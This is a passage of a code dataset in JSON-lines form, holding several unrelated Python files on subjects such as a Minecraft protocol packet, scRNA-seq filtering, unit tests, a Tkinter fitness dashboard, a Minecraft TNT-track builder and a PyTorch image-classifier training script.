self.write_signed_var_long(self.entity_id)\r\n        self.write_var_long(self.entity_runtime_id)\r\n        self.write_signed_var_int(self.player_gamemode)\r\n        self.write_vector_3_float(self.spawn)\r\n        self.write_vector_2_float(self.rotation)\r\n        self.write_signed_var_int(self.seed)\r\n        self.write_short_le(self.spawn_biome_type)\r\n        self.write_string(self.custom_biome_name)\r\n        self.write_signed_var_int(self.dimension)\r\n        self.write_signed_var_int(self.generator)\r\n        self.write_signed_var_int(self.world_gamemode)\r\n        self.write_signed_var_int(self.difficulty)\r\n        self.write_block_coordinates(self.world_spawn)\r\n        self.write_byte(self.disable_achievements)\r\n        self.write_signed_var_int(self.time)\r\n        self.write_signed_var_int(self.edu_offer)\r\n        self.write_byte(self.edu_features)\r\n        self.write_string(self.edu_product_id)\r\n        self.write_float_le(self.rain_level)\r\n        self.write_float_le(self.lightning_level)\r\n        self.write_bool(self.confirmed_platform_locked)\r\n        self.write_bool(self.multiplayer_game)\r\n        self.write_bool(self.lan_broadcasting)\r\n        self.write_signed_var_int(self.xbox_live_broadcast_mode)\r\n        self.write_signed_var_int(self.platform_broadcast_mode)\r\n        self.write_bool(self.enable_commands)\r\n        self.write_bool(self.require_texture_pack)\r\n        self.write_game_rules(self.game_rules)\r\n        self.write_experiments(self.experiments)\r\n        self.write_bool(self.has_used_experiments)\r\n        self.write_bool(self.bonus_chest)\r\n        self.write_bool(self.start_map)\r\n        self.write_signed_var_int(self.permission_level)\r\n        self.write_int_le(self.chunk_tick_range)\r\n        self.write_bool(self.locked_behavior_pack)\r\n        self.write_bool(self.locked_texture_pack)\r\n        self.write_bool(self.from_locked_template)\r\n        self.write_bool(self.only_msa_gamer_tags)\r\n        self.write_bool(self.from_world_template)\r\n        self.write_bool(self.world_template_option_locked)\r\n        self.write_bool(self.only_old_villagers)\r\n        self.write_string(self.game_version)\r\n        self.write_int_le(self.limited_world_width)\r\n        self.write_int_le(self.limited_world_height)\r\n        self.write_bool(self.new_nether)\r\n        self.write_string(self.edu_shared_uri_resource_bottom_name)\r\n        self.write_string(self.edu_shared_uri_resource_uri_link)\r\n        self.write_bool(self.experimental_gameplay)\r\n        self.write_string(self.level_id)\r\n        self.write_string(self.world_name)\r\n        self.write_string(self.premium_world_template_id)\r\n        self.write_bool(self.trial)\r\n        self.write_var_int(self.movement_type)\r\n        self.write_signed_var_int(self.movement_rewind_size)\r\n        self.write_bool(self.server_authoritative_block_breaking)\r\n        self.write_long_le(self.current_tick)\r\n        self.write_signed_var_int(self.enchantment_seed)\r\n        self.write_var_int(0)  # block states length\r\n        self.write_item_states(self.item_states)\r\n        self.write_string(self.multiplayer_correlation_id)\r\n        self.write_bool(self.server_authoritative_inventories)\r\n        self.write_string(self.server_engine)\r\n        self.write_long_le(0)\r\n","repo_name":"Podrum/PodrumLegacy","sub_path":"podrum/protocol/mcbe/packet/start_game_packet.py","file_name":"start_game_packet.py","file_ext":"py","file_size_in_byte":5927,"program_lang":"python","lang":"en","doc_type":"code","stars":174,"dataset":"github-code","pt":"16"}
+{"seq_id":"26650163561","text":"import numpy as np\nimport pandas as pd\n\n# 生成一个示例scRNA-seq数据集，其中100个基因和10个细胞\ngenes = ['gene' + str(i) for i in range(1, 11)]\ncells = ['cell' + str(i) for i in range(1, 11)]\ndata = np.random.randint(low=0, high=10, size=(10, 10))\ndf = pd.DataFrame(data, index=genes, columns=cells)\n\n# 随机生成2个位置的行索引和列索引\nrows = np.random.choice(df.index, size=8)\ncols = np.random.choice(df.columns, size=3)\n\n# 将这2个位置的值设为0\ndf.loc[rows, cols] = 0\nprint(df)\n# # 统计每个细胞的非零表达值数量\ncounts = (df != 0).sum(axis=0)\nprint(counts)\n\n# 设置阈值为n，保留非零表达值数量大于n的细胞\nn = 5\nfiltered_cells = counts[counts > n].index\nfiltered_df = df[filtered_cells]\n#\nprint(filtered_df)\n","repo_name":"Yang-noob/scADL","sub_path":"code_test/cell_genes_filt_test.py","file_name":"cell_genes_filt_test.py","file_ext":"py","file_size_in_byte":780,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"11060459746","text":"from unittest import TestCase\nfrom unittest.mock import MagicMock\n\nfrom server import polygons\n\nclass PolygonsTestCase(TestCase):\n\n    def test_is_close_enough(self):\n        known_input = [\n            MagicMock(longitude=55.749982, latitude=37.612350),\n            MagicMock(longitude=55.749992, latitude=37.612779),\n            MagicMock(longitude=55.749582, latitude=37.611974),\n            MagicMock(longitude=55.748264, latitude=37.452187),\n            MagicMock(longitude=55.748827, latitude=37.451842),\n            MagicMock(longitude=55.746306, latitude=37.711178)\n        ]\n        self.assertTrue(polygons.is_close_enough(known_input[0], known_input[1]))\n        self.assertTrue(polygons.is_close_enough(known_input[1], known_input[2]))\n        self.assertTrue(polygons.is_close_enough(known_input[0], known_input[2]))\n        self.assertTrue(polygons.is_close_enough(known_input[3], known_input[4]))\n        self.assertFalse(polygons.is_close_enough(known_input[2], known_input[3]))\n        self.assertFalse(polygons.is_close_enough(known_input[4], known_input[5]))\n        self.assertFalse(polygons.is_close_enough(known_input[0], known_input[5]))\n            \n\n    def test_group_fire_spots_by_distance(self):\n        known_input = [\n            MagicMock(longitude=55.749982, latitude=37.612350),\n            MagicMock(longitude=55.749992, latitude=37.612779),\n            MagicMock(longitude=55.749582, latitude=37.611974),\n            MagicMock(longitude=55.748264, latitude=37.452187),\n            MagicMock(longitude=55.748827, latitude=37.451842),\n            MagicMock(longitude=55.746306, latitude=37.711178)\n        ]\n        known_output_len = 3\n        known_output_set0 = set(known_input[:3])\n        known_output_set1 = set(known_input[3:5])\n        known_output_set2 = set(known_input[5:])\n        output = polygons.group_fire_spots_by_distance(known_input)\n        print(known_input)\n        print(output)\n        self.assertEqual(len(output), known_output_len)\n        self.assertEqual(set(output[0]), known_output_set0)\n        self.assertEqual(set(output[1]), known_output_set1)\n        self.assertEqual(set(output[2]), known_output_set2)\n\n","repo_name":"IIKovalenko/mayskiy_shashlyk","sub_path":"tests/polygon_helpers_test.py","file_name":"polygon_helpers_test.py","file_ext":"py","file_size_in_byte":2172,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"70942169929","text":"# parameters.py\nfrom Tools import *\nimport commonVar as common\n\nimport networkx as nx\nimport matplotlib as mplt\n\n\ndef loadParameters(self):\n\n    print(\"NetworkX version %s running\" % nx.__version__)\n    print(\"Matplotlib version %s running\\n\" % mplt.__version__)\n\n    nxv = nx.__version__\n    vOK = checkVersion(nxv, 'NetworkX', 1, 9, 1)\n\n    if not vOK:\n        print(\"NetworkX 1.9.1 or greater required\")\n        os.sys.exit(1)\n\n    mpltv = mplt.__version__\n    vOK = checkVersion(mpltv, 'Matplotlib', 1, 5, 1)\n\n    if not vOK:\n        print(\"Matplotlib 1.5.1 or greater required\")\n        os.sys.exit(1)\n\n    mySeed = eval(input(\"random number seed (1 to get it from the clock) \"))\n    if mySeed == 1:\n        random.seed()\n    else:\n        random.seed(mySeed)\n\n    self.nAgents = 0\n    print(\"No 'bland' agents\")\n\n    #self.worldXSize= input(\"X size of the world? \")\n    self.worldXSize = 1\n    print(\"X size of the world not relevant\")\n\n    #self.worldYSize= input(\"Y size of the world? \")\n    self.worldYSize = 50\n    print(\"y size of the world not relevant\")\n\n    # recipes\n    common.maxLenght = 10\n    common.maxSector = 6\n    print(\n        \"recipes: max lenght\",\n        common.maxLenght,\n        \"and max sector number\",\n        common.maxSector)\n\n    self.nCycles = eval(input(\"How many cycles? (0 = exit) \"))\n\n    v = input(\"verbose? (y/[n]) \")\n    if v == \"y\" or v == \"Y\":\n        common.verbose = True  # predefined False\n","repo_name":"terna/SLAPP3","sub_path":"6 objectSwarmObserverAgents_AESOP_turtleLib_NetworkX/production/parameters.py","file_name":"parameters.py","file_ext":"py","file_size_in_byte":1439,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"16"}
+{"seq_id":"30454861903","text":"osoba = (\"sofija\",25,\"python\") # tuple se ne moze menjati podatci se samo mogu transportovati!!!\r\nprint(osoba[0])\r\n\r\nime , godine, smer = osoba # raspakovani tuple\r\n\r\nprint(ime)\r\n\r\nime = osoba[0]\r\ngodine = osoba[1]\r\nsmer = osoba[2]\r\nprint(ime)\r\n\r\n","repo_name":"rudo23/moj_repozitori2","sub_path":"python files/python-ppf-pr8-sekvence_tupl.py","file_name":"python-ppf-pr8-sekvence_tupl.py","file_ext":"py","file_size_in_byte":247,"program_lang":"python","lang":"hr","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"30711401828","text":"# vim: set fileencoding=utf8:\nfrom setuptools import setup, find_packages\n\nversion = '0.0.3'\n\ndef read(filename):\n    import os.path\n    return open(os.path.join(os.path.dirname(__file__), filename)).read()\nsetup(\n    name=\"django-userel\",\n    version=version,\n    description = \"Extend ForeignKey field for User. It support ``auto_now`` and ``auto_now_add``\",\n    long_description=read('README.rst'),\n    classifiers = [\n        'Framework :: Django',\n        'Intended Audience :: Developers',\n        'License :: OSI Approved :: MIT License',\n        'Programming Language :: Python',\n        'Topic :: Internet :: WWW/HTTP',\n    ],\n    keywords = \"django ForeignKey auto_now auto_now_add user\",\n    author = \"Alisue\",\n    author_email = \"lambdalisue@hashnote.net\",\n    url=r\"https://github.com/lambdalisue/django-userel\",\n    download_url = r\"https://github.com/lambdalisue/django-userel/tarball/master\",\n    license = 'MIT',\n    packages = find_packages(),\n    include_package_data = True,\n    install_requires=[\n        'distribute',\n        'setuptools-git',\n    ],\n    test_suite='packageutils.runtests.runtests',\n    tests_require=[\n        'django>=1.3',\n        'PyYAML',\n    ],\n)\n","repo_name":"lambdalisue/django-userel","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1192,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"9198309841","text":"import sys\nimport os\nfrom PIL import Image\n\ndef get_dice_score(clustered_img_path, original_img_path):\n    dice_score = 0\n    number_of_images = 0\n    for clustered, original in zip(os.listdir(clustered_img_path), os.listdir(original_img_path)):\n      number_of_images += 1\n      f_clustered = os.path.join(clustered_img_path, clustered)\n      f_original = os.path.join(original_img_path, original)\n      try:\n        clustered_img = Image.open(f_clustered)\n        original_img = Image.open(f_original)\n        clustered_img = clustered_img.convert('RGB')\n        original_img = original_img.convert('RGB')\n        clustered_img_pixels = clustered_img.load()\n        original_img_pixels = original_img.load()\n      except IOError as err:\n        print('cannot open file' + err)\n        sys.exit()\n\n      tumor = (0, 255, 0)  # green\n      stroma = (0, 0, 255)  # blue\n\n      all_counter_tumor = 0\n      all_counter_stroma = 0\n      match_stroma = 0\n      match_tumor = 0\n\n      for i in range(original_img.width):\n        for j in range(original_img.height):\n           if original_img_pixels[i, j] == stroma:\n              all_counter_stroma += 1\n           if clustered_img_pixels[i, j] == stroma:\n              all_counter_stroma += 1\n           if original_img_pixels[i, j] == tumor:\n              all_counter_tumor += 1\n           if clustered_img_pixels[i, j] == tumor:\n              all_counter_tumor += 1\n           if original_img_pixels[i, j] == stroma and clustered_img_pixels[i, j] == stroma:\n              match_stroma += 1\n           elif original_img_pixels[i, j] == tumor and clustered_img_pixels[i, j] == tumor:\n              match_tumor += 1\n\n      dice_score_stroma = 2 * match_stroma / all_counter_stroma if all_counter_stroma > 0 else 0\n      dice_score_tumor = 2 * match_tumor / all_counter_tumor if all_counter_tumor > 0 else 0\n      number_of_images -= 1 if all_counter_stroma == 0 or all_counter_tumor == 0 else 0\n\n      dice_score += (dice_score_stroma + dice_score_tumor) / 2\n\n    final_dice_score = dice_score / number_of_images\n\n    print('final_dice_score', final_dice_score)\n\nif __name__ == '__main__':\n    clustered_images_path = \"clustered_images\"\n    original_images_path = \"ground-truth_images\"\n    get_dice_score(clustered_images_path, original_images_path)\n","repo_name":"bc4s/SSBU","sub_path":"python/dice-score.py","file_name":"dice-score.py","file_ext":"py","file_size_in_byte":2295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"34281994847","text":"from PIL import Image, ImageDraw\nimport json\n\ndef draw_bounding_box(image_path, bounding_box_list):\n    img = Image.open(image_path)\n    draw = ImageDraw.Draw(img)\n\n    for box in bounding_box_list:\n        # bounding_box_list中的每个box应该是一个元组或列表，格式为(left, top, right, bottom)\n        draw.rectangle(box, outline=\"red\", width=2)\n\n    img = img.convert('RGB')\n\n    # 显示图像（这将在默认的图像查看器中打开图像）\n    # img.show()\n\n    # 如果你想保存带有边界框的新图像，可以使用以下代码：\n    img_name = image_path[:-4]\n    img.save('result.jpg')\n\n# 使用函数\ndef get_bounding_box_list(image_name, json_file):\n    with open(json_file, 'r') as f:\n        ocr_result = json.load(f)\n\n    img_result = ocr_result[image_name]\n    bounding_box_list = []\n    box_list = list(img_result.keys())\n    for box in box_list:\n        tmp = list(map(int, box.split(',')))\n        new_box = [tmp[0], tmp[1], tmp[0]+tmp[2], tmp[1]+tmp[3]]\n        bounding_box_list.append(new_box)\n    return bounding_box_list\n\ndef get_text(image_name, json_file):\n    with open(json_file, 'r') as f:\n        ocr_result = json.load(f)\n\n    img_result = ocr_result[image_name]\n    text_list = list(img_result.values())\n    total_text = '\\n'.join(text_list)\n    return total_text\n\n\n# bounding_box_list = get_bounding_box_list('coupontrak.com_[2022_12_20]_0.png', 'ocr_result.json')\n# # print(bounding_box_list)\n# image_path = 'imgs/coupontrak.com_[2022_12_20]_0.png'\n# # draw_bounding_box(image_path, bounding_box_list)\n# text = get_text('coupontrak.com_[2022_12_20]_0.png', 'ocr_result.json')\n# print(text)\n","repo_name":"CuiChi1109/CRP_Detection","sub_path":"utility.py","file_name":"utility.py","file_ext":"py","file_size_in_byte":1652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"18846869088","text":"import numpy as np\nfrom scipy.special import erfc, erfcinv\nfrom scipy.interpolate import interp1d\nfrom scipy.integrate import quad\n\nfrom pylab import *\n\nc = 0.3 # m/ns\ntwopi = 2.*np.pi\n\nclass Dist:\n    def __init__(self, config_file, beam, RMfile):\n        self.bm = beam\n        self.RMfile = RMfile\n        self.ReadConfig(config_file)\n        self.FindNsrc()\n\n    def ReadConfig(self, config_file):\n        for line in open(config_file).readlines():\n            if line.startswith('#'):\n                continue\n            if line.startswith('aL'):\n                self.aL = float(line.split(':')[1])\n            if line.startswith('bL'):\n                self.bL = float(line.split(':')[1])\n            if line.startswith('aH'):\n                self.aH = float(line.split(':')[1])\n            if line.startswith('bH'):\n                self.bH = float(line.split(':')[1])\n            if line.startswith('Smin'):\n                self.Smin = float(line.split(':')[1])\n            if line.startswith('Smax'):\n                self.Smax = float(line.split(':')[1])\n            if line.startswith('So'):\n                self.So = float(line.split(':')[1])\n            if line.startswith('Pmean'):\n                self.PImu = float(line.split(':')[1])\n            if line.startswith('Psig'):\n                self.PIsig = float(line.split(':')[1])\n            if line.startswith('Pmax'):\n                self.PImax = float(line.split(':')[1])\n            if line.startswith('Gmean'):\n                self.Gmean = float(line.split(':')[1])\n            if line.startswith('Gsig'):\n                self.Gsig = float(line.split(':')[1])\n\n\n    def FindNsrc(self):\n        _s = np.linspace(self.Smin,self.Smax,500)\n        def hi(x): return self.bm * self.aH * x**-self.bH\n        def lo(x): return self.bm * self.aL * x**-self.bL\n        dNdS = np.where(_s >= self.So, hi(_s), lo(_s))\n        NgtS = np.cumsum(dNdS)*(_s[1]-_s[0])\n        self.NgtS = (NgtS[-1] - NgtS)\n        self.Nsrc = int(self.NgtS[0] - self.NgtS[-1])\n        self.NgtS /= self.NgtS[0]\n        self.Fs = interp1d(self.NgtS,_s)\n\n\n    def DrawSrcFlux(self):\n        return self.Fs(np.random.uniform(self.NgtS.min(),self.NgtS.max(),self.Nsrc))\n\n    def DrawLogNormal(self):\n        if self.PImu == 0:\n            return np.zeros(self.Nsrc)\n        else:\n            #Use the formula given in Eqn 5 of Hales 2014.\n            def pdf(x):\n                p = -0.5*(np.log10(x/self.PImu)/self.PIsig)**2\n                p = np.exp(p)\n                p /= x*self.PIsig*np.log(10.)*np.sqrt(2.*np.pi)\n                return p\n            def cdf(x):\n                return quad(pdf, 0, x)[0]\n            Xmax = cdf(self.PImax)\n            Xes  = np.linspace(1e-6,1,300)\n            CDF = np.array([cdf(xi) for xi in Xes])\n            return np.interp(np.random.uniform(0, Xmax, self.Nsrc), CDF, Xes)\n            #Ex = np.log(self.PImu)\n            #Sx = np.sqrt(np.log(1.+(self.PIsig/self.PImu)**2))\n            #X = np.random.uniform(0,1,self.Nsrc)\n            #X *= 0.5*erfc(-1.*(np.log(self.PImax)-Ex)/(Sx*np.sqrt(2.)))\n            #X = Ex - np.sqrt(2.)*Sx*erfcinv(2.*X)\n            #return np.exp(X)\n\n    def DrawSphere(self):\n        cosTh = np.random.uniform(0, 1, self.Nsrc)\n        phi = np.random.uniform(0, twopi, self.Nsrc)\n        Th = np.arccos(cosTh)\n        l = np.sin(Th)*np.cos(phi)\n        m = np.sin(Th)*np.sin(phi)\n        return l, m\n\n    def DrawFromCDF(self):\n        _load = np.load(self.RMfile)\n        _rms = _load['arr_0']\n        _Frm = _load['arr_1']\n        return np.interp(np.random.uniform(0, 1, self.Nsrc), _Frm, _rms)\n\n    def SimSkyParams(self):\n        prms = {}\n        prms['P'] = self.DrawLogNormal()\n        prms['G'] = self.Gsig * np.random.standard_normal(self.Nsrc) + self.Gmean\n        prms['F'] = self.DrawSrcFlux()\n        prms['L'], prms['M'] = self.DrawSphere()\n        prms['RM'] = self.DrawFromCDF()\n        prms['X'] = np.random.uniform(0.,1.,self.Nsrc)\n        return prms\n","repo_name":"damoupenn/PolSim","sub_path":"src/Distributions.py","file_name":"Distributions.py","file_ext":"py","file_size_in_byte":3976,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"37656309420","text":"\"\"\"\nReferences:\nhttps://tkinter.com/\nhttps://anzeljg.github.io/rin2/book2/2405/docs/tkinter/index.html\nhttps://docs.python.org/3/library/tk.html\nhttps://matplotlib.org/stable/gallery/pie_and_polar_charts/pie_features.html\n\"\"\"\nimport tkinter as tk\nfrom tkinter import ttk\nfrom tkcalendar import *\nfrom datetime import datetime\nimport matplotlib\nmatplotlib.use('TkAgg')\nfrom matplotlib.figure import Figure\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg\n# classes\nfrom Database import Database\nfrom Popup import Popup\nfrom User import User\n\nclass Dashboard(tk.Frame):\n    \"\"\" creates Dashboard, main page of the application \"\"\"\n    def __init__(self, root):\n        self.db = Database() # Database() instance\n        self.library = self.db.library # Library() instance\n        self.user = None # current user\n        self.user_lst = self.db.get_users() # list of users from database\n        self.bg = '#fff7e8' # frame background cream color\n        # create parent frame and configurations\n        super().__init__(root)\n        self.config(bg=self.bg)\n        self.grid(sticky='NWSE')\n        self.grid_columnconfigure((0,1,2,3,4,5), weight=1)\n        self.grid_rowconfigure((0,1,2,3,4,5), weight=1)\n        # Add Some Style\n        self.style = ttk.Style()\n        self.style.theme_use('aqua')\n        # draw widgets\n        self.create_widgets()\n\n    def create_widgets(self):\n        \"\"\" creates all widgets on Dashboard\"\"\"\n        # User ID dropdown selection\n        self.user_label = tk.Label(self,\n                                text=\"Select User ID: \",\n                                background=self.bg)\n        self.user_label.config(bg='#fff7e8')\n        self.user_label.grid(column=1, row=0, sticky='E', pady=10, rowspan=2)\n\n        self.user_entry_var = tk.StringVar()\n        self.user_entry = ttk.Combobox(self,\n                            textvariable=self.user_entry_var,\n                            background=self.bg,\n                            state='readonly')\n        self.user_entry['values']=self.user_lst +['New User']\n        self.user_entry.grid(column=2, row=0, sticky='W', pady=10, rowspan=2)\n        # calendar\n        self.cal = Calendar(self,\n                            selectmode='day',\n                            showweeknumbers=False,\n                            firstweekday='sunday',\n                            selectforeground='#FF5733',\n                            headersbackground='#FF5733',\n                            foreground='#FF5733')\n        self.cal.grid(column=4, row=2, sticky='NWSE', padx=10, pady=10)\n        # 'View & Edit Routine' Button. Creates Popup when clicked.\n        self.calendar_button = tk.Button(self,\n                                        text=\"View & Edit Routine\",\n                                        command=lambda: self.getDate())\n        self.calendar_button.grid(column=4, row=3)\n        # displays message to select User ID\n        # if 'View & Edit Routine' clicked but no user ID\n        self.calendar_label = tk.Label(self, text=\"\", background=self.bg)\n        self.calendar_label.grid(column=4, row=3, sticky=\"S\", pady=10)\n        # 'Instructions' button to view instructions\n        self.instructions_button = tk.Button(self,\n                                            text=\"Instructions\",\n                                            command=lambda: self.instructions())\n        self.instructions_button.grid(column=1, row=5, sticky='W')\n        # draw pie chart\n        self.draw_pie()\n\n    def draw_pie(self):\n        \"\"\" Draws pie chart for Monthly Muslce Distrbution\"\"\"\n        # create a figure\n        self.figure = Figure(figsize=(6,3), dpi=90)\n        # create FigureCanvasTkAgg object\n        self.figure_canvas = FigureCanvasTkAgg(self.figure, self)\n        self.figure_canvas.get_tk_widget().grid(column=1, row=2,\n                                                pady=10, padx=10,\n                                                columnspan=2, rowspan=2,\n                                                sticky='NWSE')\n        # makes sure pie chart is drawn when user is selected\n        if self.user != None:\n            # update user tasks and pie chart\n            self.user.update(self.cal.get_displayed_month())\n            data = self.user.pie\n            muscles = list(data.keys())\n            usage = list(data.values())\n            if set(usage) == set([0]):\n                usage = []\n            # create pie plot\n            axes = self.figure.add_subplot(anchor=\"W\")\n            axes.pie(usage, normalize=True)\n            axes.set_title('Monthly Muscle Distribution')\n            axes.legend(muscles,\n                        loc='center right',\n                        bbox_to_anchor=(1.5, 0.5),\n                        borderaxespad=0.)\n\n    ############################################################################\n    ########################### EVENTS #########################################\n    ############################################################################\n    def mouse_pressed(self, event):\n        \"\"\" Refreshes user information based on Dashboard actions \"\"\"\n        # Queries user information when user selected\n        if str(event.widget) == \".!dashboard.!combobox\":\n            self.updateUserLst(self.user)\n        # updates user pie chart when calendar selected\n        elif self.user != None and str(event.widget) == \".!dashboard.!calendar\":\n            self.user.update(self.cal.get_displayed_month())\n        # refreshes pie chart on window\n        self.draw_pie()\n\n    ############################################################################\n    ########################### SHARED METHODS #################################\n    ############################################################################\n    def updateUserLst(self, id):\n        \"\"\" Takes User ID selection and initalizes User instances \"\"\"\n        # Make 'Select User ID' message disappear\n        self.calendar_label.config(text = \"\")\n        id = self.user_entry.get() # combobox selection\n        # queries existing user or new user\n        self.user = User(self.db, self.user_entry.get())\n        # Combobox selection becomes new user id\n        if id == 'New User':\n            self.user_lst = self.db.get_users()\n            self.user_entry['values'] = self.user_lst +['New User']\n            self.user_entry_var.set(self.user.id)\n\n    def getDate(self):\n        \"\"\" Popup window if user is selected else displays msg \"\"\"\n        date = self.cal.get_date()\n        date = datetime.strptime(date, '%m/%d/%y').strftime('%Y-%m-%d')\n        if self.user != None:\n            Popup(self.library, date, self.user, self)\n        else:\n            self.calendar_label.config(text = \"Select a User ID!\")\n\n    def instructions(self):\n        \"\"\" creates Instructions popup window \"\"\"\n        # extract textfile containing instructions string\n        with open('instructions.txt', 'r') as f:\n            instructions = f.read()\n        instructions_frame = tk.Toplevel(self)\n        instructions_frame.title(\"App Instructions\")\n        instructions_label = tk.Label(instructions_frame, text=instructions)\n        instructions_label.pack(ipadx=10, ipady=10)\n","repo_name":"sophieyeh256/w200_project1_gymroutine","sub_path":"Dashboard.py","file_name":"Dashboard.py","file_ext":"py","file_size_in_byte":7196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"15219678559","text":"import collections\n\nclass TrieNode:\n    def __init__(self):\n        self.alpha = ''\n        self.children = collections.defaultdict(TrieNode)\n        \nclass Trie:\n    def __init__(self):\n        self.root = TrieNode()\n        \n        \n    def insert(self, word, alpha):\n        node = self.root\n        for char in word:\n            node = node.children[char]\n        node.alpha = alpha\n        \n    def search(self, word):\n        node = self.root\n        for char in word:\n            if char not in node.children:\n                return ''\n            node = node.children[char]\n        return node.alpha\n    \nT = int(input())\ntrie = Trie()\nfor _ in range(T):\n    alpha, num = list(input().rstrip().split())\n    trie.insert(num, alpha)\n    \nbinary_sequence = input().rstrip()\n\ni = 0\nresult = ''\nwhile binary_sequence:\n    temp = trie.search(binary_sequence[:i])\n    if not temp:\n        i += 1\n    else:\n        result += temp\n        binary_sequence = binary_sequence[i:]\n        i = 0\nprint(result)","repo_name":"uniqueimaginate/Coding","sub_path":"Problem_Solving/BOJ/6800.py","file_name":"6800.py","file_ext":"py","file_size_in_byte":1004,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"71526785607","text":"#import all the necessary modules\nfrom mcpi.minecraft import Minecraft\nfrom mcpi import block\nimport time\n\n#maak je koppeling met de Minecraft wereld\nmc=Minecraft.create()\n\n#zoek de positie van de speler op\npos=mc.player.getTilePos()\n\n#Controleer of je niet te dicht bij de rand van de wereld staat\nif pos.z<-40:\n    mc.postToChat('teleporteer naar een veilige plek')\n    mc.player.setPos(pos.x,pos.y,-40)\n    pos=mc.player.getTilePos()\n\n\n#Markeer waar de teleport is\nzpos=pos.z-40\n\n#Maak een vallei door blokken weg te halen\n#mc.setBlocks(pos.x-1,pos.y+3,pos.z,pos.x+1,pos.y-7,pos.z,block.AIR.id)\nmc.setBlocks(pos.x-1,pos.y+3,pos.z,pos.x+1,pos.y-7,pos.z-88,block.AIR.id)\n\n\n#Bouw de onzichtbare bedrock plaats\nmc.setBlocks(pos.x,pos.y-1,pos.z,pos.x,pos.y-7,pos.z,block.BEDROCK_INVISIBLE.id)\nmc.setBlocks(pos.x-1,pos.y-1,pos.z,pos.x,pos.y-7,pos.z,block.BEDROCK_INVISIBLE.id)\nmc.setBlocks(pos.x+1,pos.y-1,pos.z,pos.x,pos.y-7,pos.z,block.BEDROCK_INVISIBLE.id)\nmc.setBlocks(pos.x,pos.y-1,pos.z-88,pos.x-1,pos.y-7,pos.z-88,block.BEDROCK_INVISIBLE.id)\nmc.setBlocks(pos.x-1,pos.y-1,pos.z-88,pos.x,pos.y-7,pos.z-88,block.BEDROCK_INVISIBLE.id)\nmc.setBlocks(pos.x+1,pos.y-1,pos.z-88,pos.x,pos.y-7,pos.z-88,block.BEDROCK_INVISIBLE.id)\nmc.setBlocks(pos.x,pos.y,pos.z,pos.x,pos.y-7,pos.z-92,block.BEDROCK_INVISIBLE.id)\n\n#Maak de bommen\nmc.setBlocks(pos.x,pos.y,pos.z,pos.x,pos.y,pos.z-88,block.TNT.id,1)\n\n#Maak het podiumeinde\nmc.setBlocks(pos.x-2,pos.y,pos.z-93,pos.x+2,pos.y,pos.z-97,block.GLOWING_OBSIDIAN.id)\nmc.setBlocks(pos.x-1,pos.y+1,pos.z-94,pos.x+1,pos.y+1,pos.z-96,block.NETHER_REACTOR_CORE.id,1)\nmc.setBlock(pos.x,pos.y+2,pos.z-95,block.REDSTONE_ORE.id)\n\n#hoeveel teleports heb je over\nteleport=1\n\n#Maak het teleport display\nmc.setBlock(pos.x+1,pos.y+1,pos.z-44,block.NETHER_REACTOR_CORE.id,2)\nmc.setBlock(pos.x-1,pos.y+1,pos.z-44,block.NETHER_REACTOR_CORE.id,2)\n\n#Teleporteer de speler als hij/zij op een bepaalde plek is\nwhile teleport ==1:\n    pos=mc.player.getTilePos()\n    if pos.z==zpos:\n        mc.player.setPos(pos.x,pos.y,pos.z-24)\n        teleport=0\n","repo_name":"educaris/minecraftPython","sub_path":"TNTrun.py","file_name":"TNTrun.py","file_ext":"py","file_size_in_byte":2059,"program_lang":"python","lang":"nl","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"4495183687","text":"import numpy as np\r\nimport torch\r\nimport torchvision\r\nimport argparse\r\nfrom torch.utils.data import DataLoader\r\nfrom torchvision import datasets, models, transforms\r\nfrom torch import nn\r\nfrom torch import optim\r\nfrom PIL import Image\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\nimport seaborn as sb\r\n\r\nparser = argparse.ArgumentParser(description='trains a machine learning model to classify images')\r\n\r\nparser.add_argument('--model', type=str,\r\n                    help='determines the pretrained network to use. ARGUMENT REQUIRED: options include vgg and densenet')\r\nparser.add_argument('--epochs', type=int, help='determines number of epochs the NN will be trained for, default=1')\r\nparser.add_argument('--learning_rate', type=float, help='determines learning rate of NN. default = 0.005')\r\nparser.add_argument('--device', type=str,\r\n                    help='determines which device the NN will be trained on. options are gpu and cpu, default=cpu')\r\n\r\nargs = parser.parse_args()\r\n\r\ndata_dir = 'flowers'\r\ntrain_dir = data_dir + '/train'\r\nvalid_dir = data_dir + '/valid'\r\ntest_dir = data_dir + '/test'\r\n\r\ntrain_transforms = transforms.Compose([transforms.RandomRotation(30),\r\n                                       transforms.RandomResizedCrop(224),\r\n                                       transforms.RandomHorizontalFlip(),\r\n                                       transforms.ToTensor(),\r\n                                       transforms.Normalize([0.485, 0.456, 0.406],\r\n                                                            [0.229, 0.224, 0.225])])\r\n\r\ndata_transforms = transforms.Compose([transforms.Resize((224, 224)), transforms.ToTensor(),\r\n                                      transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])])\r\n\r\ntrain_data = torchvision.datasets.ImageFolder(root=train_dir, transform=train_transforms)\r\nvalid_data = torchvision.datasets.ImageFolder(root=valid_dir, transform=data_transforms)\r\ntest_data = torchvision.datasets.ImageFolder(root=test_dir, transform=data_transforms)\r\n\r\ntrain_dataloader = DataLoader(train_data, batch_size=64, shuffle=True)\r\nvalid_dataloader = DataLoader(valid_data, batch_size=64, shuffle=True)\r\ntest_dataloader = DataLoader(test_data, batch_size=64, 